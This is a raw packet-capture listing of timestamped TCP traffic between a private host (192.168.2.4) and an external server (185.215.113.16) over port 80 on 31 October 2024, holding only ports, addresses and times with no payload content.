Oct 31, 2024 05:06:34.900561094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900574923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900585890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900589943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900598049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900608063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900618076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900618076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900628090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900639057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900641918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900664091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900667906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900680065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900688887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900693893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900711060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900712013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900727987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900738955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900746107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900749922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900759935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900789976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900809050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900859118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900868893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900878906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900907040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900913000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900918007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900943041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900953054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900954962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900969028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900986910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900990963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901001930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901010990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901012897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901038885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901072979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901091099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901107073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901117086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901122093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901133060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901146889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901150942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901173115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901181936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901185036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901196957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901207924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901216984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901232004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901237965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901242971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901252985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901266098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901274920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901277065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901288033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901299000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901316881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901325941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901331902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901351929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901352882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901365042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901377916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901388884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901396036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901400089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901411057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901421070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901432037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901438951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901454926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901473045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901479006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901484013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901499987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901508093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901513100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901537895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.901578903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901587963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.901619911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.911333084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.024755001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024785995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024802923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024813890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024822950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024835110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024842978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.024844885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024857998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024864912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.024888039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.024905920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024905920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.024924040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024940968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024952888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.024957895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.024986982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025007963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025018930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025028944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025041103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025047064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025053024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025075912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025121927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025137901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025149107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025156975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025157928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025182962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025213957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025224924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025248051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025444984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025475979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025480986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025487900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025520086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025580883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025592089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025603056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025614023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025624037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025625944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025650978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.025686026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025696993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.025721073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.027895927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.027913094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.027924061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.027931929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.027959108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.027972937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.027985096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.027996063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028018951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028023005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028034925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028047085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028059006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028060913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028081894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028103113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028115988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028126001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028137922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028141022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028160095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028333902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028354883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028371096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028371096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028383970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028400898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028404951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028412104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028424025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028434992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028439045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028446913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028458118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028460979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028479099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028485060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028486967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028493881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028505087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028525114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028532982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028537035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028549910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028562069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028572083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028578043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028589010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028600931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028610945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028615952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028615952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028624058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028635025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028639078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028665066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028671980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028692961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028706074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028711081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028722048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028734922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028740883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028745890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028757095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028768063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028772116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028789997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028798103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028805971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028810978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028821945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028834105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028845072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028848886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028856993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028867960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028878927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.028877974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028897047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.028913021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.035471916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.150845051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.150906086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.150933981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.150953054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.150963068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.150964022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.150969028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.150974989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.150985956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151007891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151011944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151024103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151027918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151041985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151057959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151062012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151070118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151081085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151091099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151092052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151103973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151109934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151120901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151132107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151141882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151163101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151176929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151187897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151197910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151222944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151247978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151257992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151267052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151279926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151284933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151304007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151343107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151379108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151607037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151618004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151628017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151639938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151652098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151655912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151657104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151706934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151706934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151729107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151740074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151750088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151766062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151767969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151779890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151796103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151809931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151823997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151827097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151835918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151846886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151856899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151875019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151881933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151884079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151894093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151905060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151916027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151918888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151927948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151935101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151938915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151948929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151958942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151964903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.151971102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.151987076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152004004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152053118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152062893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152074099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152082920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152093887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152103901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152103901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152115107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152121067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152126074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152136087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152157068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152163029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152178049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152189016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152194023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152200937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152210951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152221918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152225971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152232885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152241945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152251959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152257919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152266979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152287960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152301073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152317047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152327061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152344942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152348995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152359962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152369976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.152386904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.152401924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.162789106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275444984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275490999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275511980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275533915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275536060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.275546074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.275556087 CET	80	49744	185.215.113.16	192.168.2.4
